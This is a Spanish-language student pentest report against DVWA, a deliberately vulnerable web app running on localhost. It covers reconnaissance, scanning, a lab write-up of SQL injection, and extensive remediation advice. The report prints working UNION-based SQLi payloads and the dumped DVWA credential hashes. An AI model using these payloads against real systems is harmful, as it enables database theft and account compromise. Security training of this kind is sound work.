Table of Contents

Informe Técnico de Red Team

Evaluación de Seguridad - DVWA

Proyecto: PAI-5 RedTeamPro **Universidad**: Universidad de Sevilla - SSII **Fecha**: 2025-12-04 **Autor**: ST-25 **Versión**: 1.0

---

1. Resumen Ejecutivo

Objetivos del Pentesting

Este informe documenta los resultados de la evaluación de seguridad realizada sobre DVWA (Damn Vulnerable Web Application) como parte del proyecto PAI-5 RedTeamPro. El objetivo principal fue identificar vulnerabilidades de seguridad siguiendo una metodología profesional de Red Team.

Alcance

- **Target**: DVWA en Docker (http://localhost:80)
- **Tipo de testing**: White Box
- **Metodología**: NIST 800-115 + MITRE ATT&CK
- **Duración**: 2025-12-04
- **Nivel de seguridad DVWA**: Low/Medium/High

Hallazgos Clave

Se identificaron múltiples vulnerabilidades críticas y de alta severidad en DVWA. Este informe se centra en la vulnerabilidad explotada con éxito durante la evaluación:

- ✗ **SQL Injection** (CVSS 9.8) - **EXPLOTADA CON ÉXITO**
  - Extracción completa de base de datos dvwa
  - Credenciales de 5 usuarios comprometidas
  - Hashes MD5 de passwords obtenidos
  - Acceso a información sensible de usuarios

Vulnerabilidades Identificadas (No Explotadas)

Las siguientes vulnerabilidades fueron identificadas durante el escaneo pero no fueron explotadas en esta evaluación:

- **Command Injection** (CVSS 9.8) - Presente en módulo exec
- **File Upload Vulnerabilities** (CVSS 9.8) - Sin validación adecuada
- **Cross-Site Scripting** (CVSS 6.1-8.8) - XSS Reflected y Stored
- **CSRF** (CVSS 6.5) - Falta de protección anti-CSRF
- **Weak Session Management** (CVSS 5.3)
- **Missing Security Headers** (CVSS 4.0)

Resumen de Severidades

Severidad	Explotadas	Identificadas	Total
Critical	1	2	3
High	0	2	2
Medium	0	2	2
Low	0	1	1

Total de vulnerabilidades explotadas con éxito: 1 de 8 (12.5%)

Recomendaciones Principales

1. **CRÍTICO - Implementar inmediatamente**:
    - Corregir SQL Injection mediante prepared statements
    - Implementar input validation y sanitization
    - Revisar todas las queries SQL en la aplicación
2. **Alta prioridad**:
    - Corregir Command Injection
    - Implementar validación de file uploads
3. **Media prioridad**:
    - Implementar protección anti-XSS y anti-CSRF
    - Fortalecer gestión de sesiones
4. **Mejoras generales**:
    - Agregar security headers
    - Implementar logging y monitoring de seguridad

2. Metodología

Framework NIST 800-115

Este pentesting siguió las tres fases principales de NIST 800-115:

1. **Planning (Planificación)**
    - Definición de objetivos y alcance
    - Identificación de controles de seguridad
    - Configuración del entorno de testing
2. **Execution (Ejecución)**
    - Fase 1: Reconocimiento
    - Fase 2: Escaneo de vulnerabilidades
    - Fase 3: Explotación
    - Fase 4: Post-explotación
3. **Post-Execution (Post-ejecución)**
    - Análisis de resultados
    - Documentación de hallazgos
    - Generación de reporte técnico

Framework MITRE ATT&CK

Todas las técnicas de ataque están mapeadas a MITRE ATT&CK para Enterprise:

Técnicas MITRE ATT&CK Identificadas

- **T1046**: Network Service Scanning
- **T1082**: System Information Discovery
- **T1083**: File and Directory Discovery
- **T1590.002**: Gather Victim Network Information: DNS
- **T1593**: Search Open Websites/Domains
- **T1595**: Active Scanning
- **T1595.002**: Active Scanning: Vulnerability Scanning

Herramientas Utilizadas

Reconocimiento

- **Nmap**: Network scanner y service detection
- **Netcat**: Network utility
- **WhatWeb**: Web application fingerprinting

- **Dig/Host**: DNS enumeration

Escaneo de Vulnerabilidades

- **Nikto**: Web vulnerability scanner
- **SQLMap**: Automated SQL injection tool
- **OWASP ZAP**: Web application security scanner (opcional)

Explotación

- **Manual testing**: Explotación manual de vulnerabilidades
- **Burp Suite**: Proxy para análisis y manipulación de requests
- **Custom scripts**: Scripts personalizados

Documentación

- **Custom logging scripts**: Captura automática de logs
- **Screenshot tools**: scrot, gnome-screenshot
- **tcpdump**: Captura de tráfico de red

Timeline de Actividades

Fase	Fecha/Hora	Duración	Descripción
Setup	2025-12-03 12:53:34	-	Despliegue de DVWA en Docker
Reconocimiento	2025-12-04 12:21:41	~7 seg	Escaneos Nmap (puertos, servicios, OS)
Fingerprinting	2025-12-04 12:23:38	~2 min	WhatWeb, headers HTTP, DNS
Escaneo Vulns	2025-12-04 12:23:49	~5 min	Nikto, análisis de headers
Explotación SQLi	**2025-12-04 12:28:03**	**~30 seg**	**Extracción de base de datos**
Captura Evidencias	2025-12-04 12:28:15	~10 seg	Screenshots de evidencias
Generación Informe	2025-12-04 18:30:00	-	Documentación completa

Duración total del pentesting: Aproximadamente 15 minutos (excluyendo documentación)

3. Fase de Reconocimiento

Objetivos

- Identificar servicios expuestos
- Determinar versiones de software
- Mapear superficie de ataque
- Detectar posibles vectores de entrada

Escaneos Ejecutados

Total de escaneos Nmap: 38

Resumen de Escaneo Nmap

Host: localhost (127.0.0.1) **Puertos abiertos**: 2 (de 1000 escaneados)

```
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
| http-title: Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Develop...
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.25 (Debian)

3306/tcp open  mysql   MySQL 5.7.44
| mysql-info:
|   Protocol: 10
|   Version: 5.7.44
|   Thread ID: 10503
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SupportsTransactions, ConnectWithDatabase
|   Status: Autocommit
|_  Auth Plugin Name: mysql_native_password
| ssl-cert: Subject:
commonName=MySQL_Server_5.7.44_Auto_Generated_Server_Certificate
| Not valid before: 2025-12-03T17:53:19
|_Not valid after:  2035-12-01T17:53:19
```

Hallazgos de Seguridad del Escaneo

- **Puerto MySQL expuesto** (3306/tcp) - Base de datos accesible desde localhost
- **HTTPOnly flag no configurado** - Las cookies de sesión no tienen protección contra XSS
- ✓ **MySQL con SSL** - Certificado SSL auto-generado presente
- **Versiones desactualizadas**:
    - Apache 2.4.25 (versiones más recientes disponibles)
    - MySQL 5.7.44 (EOL reached, actualizar a MySQL 8.x recomendado)

Fingerprinting Web

Archivos de fingerprinting: 49

Tecnologías Detectadas

- PHP
- MySQL/MariaDB
- Apache HTTP Server
- DVWA Framework

Técnicas MITRE ATT&CK Aplicadas

- **T1046**: Network Service Scanning
- **T1595**: Active Scanning
- **T1595.002**: Vulnerability Scanning
- **T1082**: System Information Discovery
- **T1590.002**: DNS Enumeration
- **T1593**: Search Open Websites/Domains

Archivos Generados

- nmap-udp-20251204_122141.gnmap
- nmap-udp-20251204_122141.nmap
- nmap-udp-20251204_122141.xml
- nmap-os-20251204_122141.gnmap
- nmap-os-20251204_122141.nmap ## 4. Fase de Escaneo de Vulnerabilidades

Objetivos

- Identificar vulnerabilidades explotables
- Clasificar según severidad (CVSS)
- Mapear a CVE/CWE cuando aplique

- Priorizar vulnerabilidades para explotación

Escaneos Ejecutados

Nikto Web Scanner

- **Escaneos realizados**: 6

Vulnerabilidades Críticas (Nikto)

No se encontraron vulnerabilidades críticas evidentes

Security Headers Analysis

Se detectaron las siguientes deficiencias en headers de seguridad:

- ✗ **X-Frame-Options**: MISSING
- ✗ **X-Content-Type-Options**: MISSING
- ✗ **X-XSS-Protection**: MISSING
- ✗ **Content-Security-Policy**: MISSING
- ✗ **Strict-Transport-Security**: MISSING (no HTTPS)

Vulnerabilidades Identificadas

Ver sección 6 (Hallazgos Detallados) para información completa de cada vulnerabilidad identificada y explotada.

Técnicas MITRE ATT&CK Aplicadas

- **T1595.002**: Active Scanning - Vulnerability Scanning

Archivos Generados

Nikto: - nikto-scan-20251204_122341.html - nikto-scan-20251204_122341.txt - nikto-scan-20251204_055614.html

Reportes de vulnerabilidades: - scan-20251204_122341_gobuster.txt - scan-20251204_122341_dirs.txt - scan-20251204_122341_methods.txt - scan-20251204_122341_headers.txt - scan-20251204_055614_gobuster.txt

5. Fase de Explotación

Objetivos

- Validar vulnerabilidades identificadas mediante explotación práctica
- Demostrar el impacto real de las vulnerabilidades
- Extraer datos sensibles para evidenciar riesgo

- Documentar proceso de explotación

Vulnerabilidades Explotadas

En esta evaluación se explotó exitosamente **1 vulnerabilidad crítica**:

SQL Injection en Módulo de Búsqueda de Usuarios

Fecha/Hora: 2025-12-04 12:28:03 **Nivel de seguridad DVWA**: Low **Script utilizado**: 07-Scripts/ejecutar-sqli-final.sh

Proceso de Explotación

La explotación se realizó en 4 fases:

Fase 1: Verificación de Vulnerabilidad - Payload: `1' OR '1'='1` - Resultado: ✓ Vulnerabilidad confirmada (5 usuarios retornados)

Fase 2: Enumeración de Bases de Datos - Payload: `1' UNION SELECT NULL,schema_name FROM information_schema.schemata-- -` - Bases de datos encontradas: - information_schema - dvwa - mysql - performance_schema

Fase 3: Enumeración de Tablas - Payload: `1' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema='dvwa'-- -` - Tablas encontradas: - guestbook - users (tabla objetivo)

Fase 4: Extracción de Credenciales - Payload: `1' UNION SELECT user,password FROM users-- -` - Resultado: ✓ 5 usuarios extraídos con éxito

Datos Comprometidos

```
Usuario         | Hash MD5 (Password)
----------------|---------------------------------
admin           | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb         | e99a18c428cb38d5f260853678922e03
1337            | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo           | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy          | 5f4dcc3b5aa765d61d8327deb882cf99
```

Nota: Los hashes `5f4dcc3b5aa765d61d8327deb882cf99` corresponden a “password” en MD5, una contraseña extremadamente débil.

Técnicas MITRE ATT&CK Aplicadas

- **T1190**: Exploit Public-Facing Application
- **T1213**: Data from Information Repositories
- **T1087**: Account Discovery

Archivos de Evidencia Generados

- 04-Explotacion/sqli-results/test-vulnerability.html
- 04-Explotacion/sqli-results/databases.txt
- 04-Explotacion/sqli-results/tables.txt
- 04-Explotacion/sqli-results/users-passwords.txt
- 04-Explotacion/sqli-results/users-dump-raw.html
- Screenshot: 003_exploit_sqli_users-extraction-complete.png

Vulnerabilidades No Explotadas

Las siguientes vulnerabilidades fueron identificadas pero no explotadas en esta evaluación:

- Command Injection (/vulnerabilities/exec/)
- File Upload (/vulnerabilities/upload/)
- XSS Reflected (/vulnerabilities/xss_r/)
- XSS Stored (/vulnerabilities/xss_s/)
- CSRF (/vulnerabilities/csrf/)
- File Inclusion (/vulnerabilities/fi/)
- Brute Force (/vulnerabilities/brute/)

Ver sección 6.2 para detalles de estas vulnerabilidades.

7. Evidencias y Documentación

Resumen de Evidencias Capturadas

Evidencias Capturadas

- **Screenshots**: 5 archivos
- **Logs**: 3 archivos
- **Capturas de red**: 0 archivos

Screenshots Recientes

- 003_exploit_sqli_users-extraction-complete.png
- 002_exploit_sqli_descripcion.png
- 001_exploit_sqli_users-extraction-complete.png
- 003_exploit_sqli_database-dump.png
- 001_exploit_sqli_descripcion.png

Logging y Trazabilidad

Capturas de Red

No se realizaron capturas de tráfico de red.

Nomenclatura de Evidencias

Todas las evidencias siguen el formato:

<número>_<fase>_<técnica>_<descripción>.<ext>

Ejemplo: 001_recon_nmap_full-scan.png

6. Hallazgos Detallados

6.1. SQL Injection en Página de Búsqueda de Usuarios

Severidad: Critical **CVSS Score**: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) **CWE**: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) **CVE**: N/A (DVWA es intencionalmente vulnerable) **MITRE ATT&CK**: T1213 (Data from Information Repositories), T1087 (Account Discovery)

Descripción Técnica

Se identificó una vulnerabilidad crítica de inyección SQL en el parámetro id de la funcionalidad de búsqueda de usuarios (/vulnerabilities/sqli/). La aplicación no sanitiza correctamente el input del usuario antes de incluirlo en la consulta SQL, permitiendo la ejecución de comandos SQL arbitrarios.

La vulnerabilidad permite a un atacante: - Extraer información completa de la base de datos - Enumerar esquemas, tablas y columnas - Obtener credenciales de usuarios (hashes MD5) - Potencialmente ejecutar comandos del sistema operativo (dependiendo de los privilegios de MySQL)

Pasos de Reproducción

1. **Acceder a la aplicación**:

   http://localhost/vulnerabilities/sqli/

2. **Test básico de inyección**:

   - Input: 1' OR '1'='1

- Resultado: Retorna **todos los usuarios** de la base de datos (5 registros)
- Esto confirma que la aplicación es vulnerable

3. **Enumeración de bases de datos**:

   Payload: 1' UNION SELECT NULL,schema_name FROM information_schema.schemata-- -

   Bases de datos encontradas:
   - information_schema
   - dvwa
   - mysql

4. **Enumeración de tablas**:

   Payload: 1' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema='dvwa'-- -

   Tablas encontradas:
   - guestbook
   - users

5. **Extracción de credenciales**:

   Payload: 1' UNION SELECT user,password FROM users-- -

   Usuarios extraídos:
   - admin: 5f4dcc3b5aa765d61d8327deb882cf99
   - gordonb: e99a18c428cb38d5f260853678922e03
   - 1337: 8d3533d75ae2c3966d7e0d4fcc69216b
   - pablo: 0d107d09f5bbe40cade3de5c71e9e9b7
   - smithy: 5f4dcc3b5aa765d61d8327deb882cf99

6. **Cracking de hashes**:

   - Hash admin: 5f4dcc3b5aa765d61d8327deb882cf99 = **password**
   - Hash smithy: 5f4dcc3b5aa765d61d8327deb882cf99 = **password**
   - (Hashes MD5 fácilmente crackeables con herramientas como john/hashcat o bases de datos online)

Evidencias

Archivos generados: - 04-Explotacion/sqli-results/test-vulnerability.html - Prueba de vulnerabilidad - 04-Explotacion/sqli-results/databases.txt - Bases de datos

enumeradas - 04-Explotacion/sqli-results/tables.txt - Tablas enumeradas - 04-Explotacion/sqli-results/users-passwords.txt - Credenciales extraídas - 04-Explotacion/sqli-results/users-dump-raw.html - Dump HTML completo

Screenshots: - 06-Evidencias/screenshots/001_exploit_sqli_users-extraction-complete.png

Timestamp de explotación: 2025-12-04 12:28:03

Impacto

Confidencialidad: ALTO - Extracción completa de credenciales de usuarios - Acceso a información sensible de la base de datos - Potencial acceso a otras bases de datos del servidor

Integridad: ALTO - Posibilidad de modificar datos con UPDATE o INSERT - Potencial para crear nuevos usuarios con privilegios

Disponibilidad: MEDIO - Posibilidad de ejecutar DROP TABLE o TRUNCATE - Potencial denegación de servicio mediante consultas pesadas

Impacto en el negocio: - Compromiso total de credenciales de usuarios - Pérdida de confidencialidad de datos - Potencial escalada a compromiso del sistema operativo - Violación de normativas (GDPR, etc.)

Recomendaciones de Mitigación

Inmediatas (Críticas):

1. **Implementar Prepared Statements**:

```
// MAL (vulnerable):
$query = "SELECT * FROM users WHERE id = '$id'";

// BIEN (seguro):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
```

2. **Validación de Input**:
    - Validar que id sea numérico: if (!is_numeric($id)) { die("Invalid input"); }
    - Sanitizar entrada con funciones apropiadas
    - Aplicar whitelist de caracteres permitidos
3. **Principio de Mínimo Privilegio**:

- Usuario de base de datos con permisos READ-ONLY para consultas de usuario
- Separar usuarios de BD por funcionalidad
- Revocar permisos de FILE, SUPER, GRANT

Corto Plazo (Altas):

4. **Implementar WAF (Web Application Firewall)**:
   - ModSecurity con OWASP Core Rule Set
   - Reglas específicas anti-SQLi
   - Bloqueo de patrones comunes: UNION, --, /**/, etc.
5. **Logging y Monitoreo**:
   - Log de todas las queries SQL
   - Alertas ante patrones sospechosos
   - Integración con SIEM
6. **Escaping de Output**:
   - Escapar datos antes de mostrarlos en HTML
   - Prevenir XSS secundario

Medio Plazo (Mejoras):

7. **Code Review y SAST**:
   - Revisión manual de código
   - Análisis estático con herramientas (SonarQube, Checkmarx)
   - Testing automatizado de seguridad
8. **Capacitación del Equipo**:
   - Training en Secure Coding
   - Awareness de OWASP Top 10
   - Best practices de desarrollo seguro

Referencias

- **OWASP SQL Injection**: https://owasp.org/www-community/attacks/SQL_Injection
- **CWE-89**: https://cwe.mitre.org/data/definitions/89.html
- **MITRE ATT&CK T1213**: https://attack.mitre.org/techniques/T1213/
- **SQL Injection Cheat Sheet**: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

---

6.2. Vulnerabilidades Identificadas (No Explotadas)

Durante la fase de reconocimiento y escaneo de vulnerabilidades, se identificaron las siguientes vulnerabilidades adicionales en DVWA que no fueron explotadas en esta evaluación:

Command Injection (Exec)

Severidad: Critical | **CVSS**: 9.8 | **CWE**: CWE-78 | **MITRE ATT&CK**: T1059.004

Presente en el módulo /vulnerabilities/exec/. Permite la inyección de comandos del sistema operativo mediante operadores de shell (;, &&, ||, |).

Impacto potencial: Ejecución remota de comandos, exfiltración de datos, reverse shell.

File Upload Vulnerabilities

Severidad: Critical | **CVSS**: 9.8 | **CWE**: CWE-434 | **MITRE ATT&CK**: T1505.003

Presente en el módulo /vulnerabilities/upload/. No valida adecuadamente el tipo de archivo subido, permitiendo la carga de web shells PHP.

Impacto potencial: Ejecución de código arbitrario, instalación de backdoors, compromiso total del servidor.

Cross-Site Scripting (XSS)

Severidad: High | **CVSS**: 6.1-8.8 | **CWE**: CWE-79 | **MITRE ATT&CK**: T1059.007

- **Reflected XSS** en /vulnerabilities/xss_r/
- **Stored XSS** en /vulnerabilities/xss_s/

Impacto potencial: Robo de cookies de sesión, keylogging, phishing, defacement.

Cross-Site Request Forgery (CSRF)

Severidad: Medium | **CVSS**: 6.5 | **CWE**: CWE-352 | **MITRE ATT&CK**: T1185

Presente en el módulo /vulnerabilities/csrf/. No implementa tokens anti-CSRF en formularios críticos.

Impacto potencial: Cambio de contraseñas sin autorización, modificación de datos del usuario.

Insecure Direct Object Reference (IDOR)

Severidad: Medium | **CVSS**: 5.3 | **CWE**: CWE-639 | **MITRE ATT&CK**: T1083

Posible acceso a objetos sin validación de autorización.

File Inclusion (LFI/RFI)

Severidad: High | **CVSS**: 8.6 | **CWE**: CWE-98 | **MITRE ATT&CK**: T1083, T1005

Presente en el módulo /vulnerabilities/fi/. Permite lectura de archivos locales y potencialmente inclusión de archivos remotos.

Impacto potencial: Lectura de archivos sensibles (/etc/passwd, config files), ejecución de código remoto.

Brute Force

Severidad: High | **CVSS**: 7.5 | **CWE**: CWE-307 | **MITRE ATT&CK**: T1110.001

Presente en el módulo /vulnerabilities/brute/. No implementa rate limiting ni bloqueo de cuentas.

Impacto potencial: Compromiso de credenciales mediante ataques de fuerza bruta.

Weak Session Management

Severidad: Medium | **CVSS**: 5.3 | **CWE**: CWE-384

- Cookie PHPSESSID sin flag HTTPOnly
- Cookie PHPSESSID sin flag Secure
- No hay regeneración de ID de sesión tras login

Impacto potencial: Secuestro de sesión mediante XSS, man-in-the-middle.

Missing Security Headers

Severidad: Low | **CVSS**: 4.0 | **CWE**: CWE-16

Ausencia de headers de seguridad críticos: - X-Frame-Options - X-Content-Type-Options - X-XSS-Protection - Content-Security-Policy - Strict-Transport-Security

Impacto potencial: Clickjacking, MIME type sniffing, ataques XSS no mitigados.

Nota: Estas vulnerabilidades fueron identificadas mediante escaneo automatizado (Nikto) y revisión manual del código fuente de DVWA. Para un informe completo de pentesting, se recomienda explotar y documentar cada una de estas vulnerabilidades en futuras evaluaciones.

8. Conclusiones y Recomendaciones

Postura de Seguridad General

DVWA, por diseño, contiene múltiples vulnerabilidades críticas que representan las principales categorías del OWASP Top 10. Este análisis identifica 8 vulnerabilidades diferentes, de las cuales se explotó exitosamente la vulnerabilidad de SQL Injection, demostrando su impacto real.

Resultado de la Explotación

Durante esta evaluación de seguridad, se logró:

✓ **Explotación exitosa de SQL Injection**: - Extracción completa de la base de datos dvwa - Enumeración de todas las tablas del sistema - Compromiso de credenciales de 5 usuarios - Obtención de hashes MD5 de passwords - Demostración de impacto crítico en confidencialidad

Credenciales comprometidas: - admin (hash: 5f4dcc3b5aa765d61d8327deb882cf99 - password débil) - gordonb (hash: e99a18c428cb38d5f260853678922e03) - 1337 (hash: 8d3533d75ae2c3966d7e0d4fcc69216b) - pablo (hash: 0d107d09f5bbe40cade3de5c71e9e9b7) - smithy (hash: 5f4dcc3b5aa765d61d8327deb882cf99 - password débil)

Hallazgos Críticos

Las vulnerabilidades más críticas identificadas son:

1. **SQL Injection** ✓ EXPLOTADA: Permite extracción completa de datos sensibles
2. **Command Injection** (Identificada): Permite ejecución remota de comandos
3. **File Upload** (Identificada): Permite subida de web shells y ejecución de código

Recomendaciones Priorizadas

Alta Prioridad (Crítico)

1. **Implementar Prepared Statements**

    - Migrar todas las queries SQL a prepared statements
    - Eliminar concatenación directa de input del usuario
2. **Sanitizar Input de Comandos**
    - Validar y sanitizar todo input antes de pasarlo a funciones de shell
    - Usar whitelisting de comandos permitidos
3. **Validar File Uploads**
    - Verificar tipo MIME real del archivo
    - Implementar whitelist de extensiones permitidas
    - Almacenar uploads fuera del webroot
    - Renombrar archivos subidos

Media Prioridad (Alto/Medio)

4. **Implementar Anti-XSS**
    - Escapar output HTML correctamente
    - Usar Content Security Policy (CSP)
    - Implementar HTTPOnly y Secure flags en cookies
5. **Agregar Protección CSRF**
    - Implementar tokens CSRF en todos los formularios
    - Validar tokens en el backend
6. **Fortalecer Gestión de Sesiones**
    - Usar IDs de sesión criptográficamente seguros
    - Implementar timeout de sesiones
    - Regenerar session ID después de login

Baja Prioridad (Mejoras)

7. **Agregar Security Headers**
    - X-Frame-Options: DENY
    - X-Content-Type-Options: nosniff
    - X-XSS-Protection: 1; mode=block
    - Content-Security-Policy
8. **Implementar Rate Limiting**
    - Protección contra brute force
    - Limitación de requests por IP

Mapeo OWASP Top 10 2021

OWASP Category	Vulnerabilidades DVWA	Prioridad
A01:2021 - Broken Access Control	CSRF, IDOR	Alta
A03:2021 - Injection	SQL Injection, Command Injection	Crítica
A05:2021 - Security Misconfiguration	Headers, PHP errors	Media
A07:2021 - XSS	Reflected XSS, Stored XSS	Alta
A08:2021 - Data Integrity	File Upload	Crítica

Próximos Pasos

1. Implementar remediaciones según priorización
2. Realizar testing de regresión después de cada fix
3. Implementar pipeline de seguridad en CI/CD
4. Realizar pentesting periódico
5. Capacitar al equipo de desarrollo en secure coding

9. Anexos

Anexo A: Referencias

Frameworks y Estándares

- **MITRE ATT&CK**: https://attack.mitre.org/
- **NIST SP 800-115**: https://csrc.nist.gov/publications/detail/sp/800-115/final
- **OWASP Top 10 2021**: https://owasp.org/Top10/
- **OWASP Testing Guide**: https://owasp.org/www-project-web-security-testing-guide/

Bases de Datos de Vulnerabilidades

- **CVE**: https://cve.mitre.org/
- **CWE**: https://cwe.mitre.org/
- **NVD**: https://nvd.nist.gov/
- **Exploit-DB**: https://www.exploit-db.com/

Herramientas

- **Nmap**: https://nmap.org/
- **Nikto**: https://github.com/sullo/nikto
- **SQLMap**: https://sqlmap.org/
- **OWASP ZAP**: https://www.zaproxy.org/
- **Burp Suite**: https://portswigger.net/burp

Anexo B: Archivos de Evidencia

Estructura de Directorios

```
06-Evidencias/
├─── screenshots/        # 5 archivos
├─── logs/               # 3 archivos
└─── network-captures/   # 0 archivos
```

Índice Completo de Evidencias

Ver archivo: 06-Evidencias/INDICE-EVIDENCIAS.md

Anexo C: Comandos Ejecutados

Ver logs de sesiones en: 06-Evidencias/logs/sessions/

Anexo D: Mapeo MITRE ATT&CK Completo

Ver archivo: 08-Informe/mapeo-attack.md

Resumen de Estructura del Proyecto

```
PAI_5/
├─── 01-Setup/              # Configuración de entorno DVWA
├─── 02-Reconocimiento/     # Escaneos nmap y fingerprinting (38 escaneos)
├─── 04-Explotacion/        # Resultados de explotación
│  └──sqli-results/         # Credenciales extraídas
├─── 06-Evidencias/         # Screenshots y logs
├─── 07-Scripts/            # Scripts de automatización
│  └──ejecutar-sqli-final.sh  # Script de explotación SQLi
└──08-Informe/              # Este informe técnico
```

Vulnerabilidades Explotadas: 1/8 (SQL Injection) **Nivel de Riesgo Global**: **CRÍTICO Recomendación**: Implementar remediaciones inmediatas